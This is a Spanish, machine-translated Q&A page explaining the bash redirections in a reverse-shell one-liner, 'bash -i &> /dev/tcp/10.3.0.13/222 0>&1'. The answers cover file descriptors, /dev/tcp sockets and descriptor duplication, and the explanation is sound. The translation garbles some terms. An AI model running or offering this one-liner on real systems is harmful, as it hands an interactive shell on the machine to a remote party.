¿Qué significa la redirección de shell 0>&1?

¿Qué significa la redirección de shell 0>&1?

tratando de entender el comando:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

¿Significa que el STDIN de "bash -i" obtendrá el contenido STDOUT?

Respuesta1

&> fileen sí es el mismo que > file 2>&1, que está abierto fileen modo de solo escritura en el descriptor de archivo 1, y duplica ese descriptor de archivo 1 en el descriptor de archivo 2, de modo que tanto fd 1 como 2 (stdout y stderr) apunten a esoabrir la descripción del archivo

0>&1(igual que 0<&1o <&1) agrega 0 (stdin) a la lista. También duplica fd 1 a 0 (se hace que fd 0 apunte al mismo recurso que señala fd 1).

Ahora, al hacer > /dev/tcp/host/portin bash(como en ksh de donde proviene la característica), en lugar de hacer a open(file, O_WRONLY), bashcrea un socket TCP y lo conecta a host:port. Eso no es unescribir solamenteredirección, ese es un socket de red de lectura+escritura.

Entonces terminas con fds 0, 1 y 2 como bash -iun socket TCP. Cuando bash -ilee en su entrada estándar, lee desde el socket, por lo que desde lo que se encuentre en el otro extremo host:posty cuando (o cualquier comando ejecutado desde allí) escribe en fd 1 o 2, se envía a través de ese socket.

Respuesta2

Vayamos paso a paso.

  1. bash -i: abre un shell interactivo
  2. &>: redirige la salida estándar y el error al socket abierto a la IP 10.3.0.13 que estaría escuchando en el puerto 222
  3. 0>&1: Me gusta leerlo como 0<&1. Esto significaría literalmente que '0' está adjunto a '1', lo que significa que la entrada estándar está adjunta a la salida estándar y por el punto 2 sabemos que la entrada estándar para este proceso bash está disponible para el atacante que escucha en el puerto 222.

Respuesta3

En pocas palabras, el comando abre un shell bash interactivo que lee la entrada y entrega su salida y errores, a través de un socket tcp, a un host especificado por la ip.

Detalles: (!!! Como no soy un experto, es posible que algunas descripciones no sean exactas o precisas).

&> /dev/tcp/10.3.0.13/222tiene dos partes. Primero:

/dev/tcp/10.3.0.13/222

Bash maneja varios nombres de archivos especialmente cuando se usan en redirecciones, como /dev/tcp/host/port

Si el host es un nombre de host o una dirección de Internet válidos y el puerto es un número de puerto entero o un nombre de servicio, Bash intenta abrir el socket TCP correspondiente.

Segundo:

el &>operador de redirección, para dirigir la salida estándar y el error estándar al mismo archivo.

Entonces, &> /dev/tcp/10.3.0.13/222significa abrir el socket TCP correspondiente y redirigir la salida del stand y el error del stand al socket.

En realidad, las redirecciones asignan un nuevo descriptor de archivo que hace referencia a la misma descripción del archivo abierto que el descriptor anterior.

Una descripción de archivo abierto es una entrada en la tabla de archivos abiertos de todo el sistema. La descripción del archivo abierto registra el desplazamiento del archivo y los indicadores de estado del archivo. Un descriptor de archivo es una referencia a la descripción de un archivo abierto; esta referencia no se ve afectada si el nombre de ruta se elimina o modifica posteriormente para hacer referencia a un archivo diferente.

Así, en realidad elsalida de soporteyerror de soporte(en realidad son descriptores de archivos) yel descriptor de archivo del socketahora se refiere a lo mismoabrir la descripción del archivo. Eso significa que siempre que hay resultados o errores del bash, estos datos se escriben en el socket y se envían al host de destino especificado anteriormente.

0>&1

redirige elentrada de soportehaciasalida de soporte. Usando la idea anterior, literalmente significa laentrada de soportese refiere a lo mismoabrir la descripción del archivoque es referido por elsalida de soporte; que es el mismo al que también se refiere elerror de soporteyel descriptor de archivo del socket. Eso significa que cada vez que el host que ejecutó este comando recibe algún dato a través delconector tcp, bash lo lee como entrada.

Si no posee el conocimiento de lo que realmente significan las redirecciones, es bastante difícil entender lo que significa redirigir elentrada de soportehaciasalida de soporte. No significa leer elsalida de soportecomo elentrada de soporte, ya que no tiene sentido. En realidad significa elentrada de soportey elsalida de soportese refiere a lo mismoabrir la descripción del archivo. Entonces el comando lee su entrada y entrega su salida al mismo archivo, como aquí, el socket.

Referencias:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

información relacionada